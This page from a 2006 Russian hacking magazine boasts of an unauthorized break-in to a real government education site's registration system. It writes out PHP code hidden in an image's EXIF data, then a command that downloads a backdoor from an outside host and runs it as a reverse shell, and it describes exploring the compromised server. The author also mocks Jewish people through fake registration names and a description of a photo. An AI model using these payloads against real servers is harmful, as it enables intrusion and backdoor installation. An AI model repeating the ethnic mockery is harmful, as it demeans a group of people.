Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #91, ИЮЛЬ 2006 г.

Взломанный госэкзамен

Неуловимый мститель

Хакер, номер #091, стр. 091-068-2


Изначально я тупо переименовал php-файл в картинку, надеясь на то, что скрипт сохранится в недрах системы, но обломался. Здесь программеры поработали на славу и включили распознавание контента (судя по сообщению о некорректности изображения). Руки невольно опускались, и я начал понимать, что сломать ЕГЭ мне не по зубам.

Но буквально через час я вспомнил, что рисунок - это не просто изображение. В него можно вставлять различные тэги, которые в ряде случаев способны выполняться как команда. В моем случае это сделать достаточно реально. Смотри: движок регистрации написан на PHP, теоретически при показе рисунка скрипт тупо берет все его содержимое и сливает браузеру. Но при наличии вредных тэгов, обрамленных <? ?>, часть рисунка может интерпретироваться как команда!

Все эти мысли промелькнули в моей голове за пару секунд. Зайдя на страницу http://www.edu.ru/index.php?page_id=13, я аккуратно заполнил все поля, представившись Исааком Моисеевичем Абрамсоном. Затем нашел в Гугле фотографию несчастного еврейского мальчика, слил ее на комп и открыл с помощью AcdSee. Далее дело техники: в поле введения EXIF я забил незамысловатую строку <?system("id");?> и бережно сохранил файл. Теперь мне ничего не оставалось, как просто загрузить фотку на сервер, не забывая отметить флажок «Поставьте флажок, если хотите опубликовать свои данные на нашем сервере».

Залив аццкий гифчик на сервер, я поспешил узреть свой профиль. Ура! Как я и думал, изображения подгружаются не напрямую, а через сценарий PHP. Однако вывода команды в исходниках рисунка я не увидел, собственно, как и комментария. Это было странно, поскольку при самом плохом раскладе я все равно должен был узреть мой комментарий. Проверить бажность движка можно было лишь одним способом: попытаться залить и выполнить connback-шелл. Для этого мне пришлось снова регистрироваться, но уже под именем Абрам Исаакович Шпильман. Картинка была та же, но подверглась ужасной трепанации. Запрос вырос в разы и стал выглядеть как <?system("wget aabbcc4.chat.ru/bd -O /tmp/b; chmod +x /tmp/b; /tmp/b 1.1.1.1");?>, где b был свежескомпиленный под FreeBSD бэкдор (мое чутье подсказывало мне, что воспользоваться услугами gcc через WWW было нельзя).

Итак, я опять поспешил в свой профиль, заботливо запустив netcat на своем шелле с ip 1.1.1.1. И, о чудо! В консоли появились заветные строчки о том, что connback соединился с моим сервером.

Первые сдвиги были налицо. Освоившись в системе, я узрел, что на сервере крутилась база MySQL. Она и привлекла мое внимание. Первое, что я сделал, — это перешел в каталог $HOME и попытался прочитать какие-либо конфиги. Но, как оказалось, Apache был настроен с suexec, поэтому прочесть каталог lib мне никак не удавалось. Неприятен был еще один факт: на сервере действительно был запрещен gcc, но данное ограничение я уже обошел. Набрав команду who, я увидел вполне себе живого админа, так что решил убраться восвояси до наступления сумерек.

Назад на стр. 091-068-1  Содержание  Вперед на стр. 091-068-3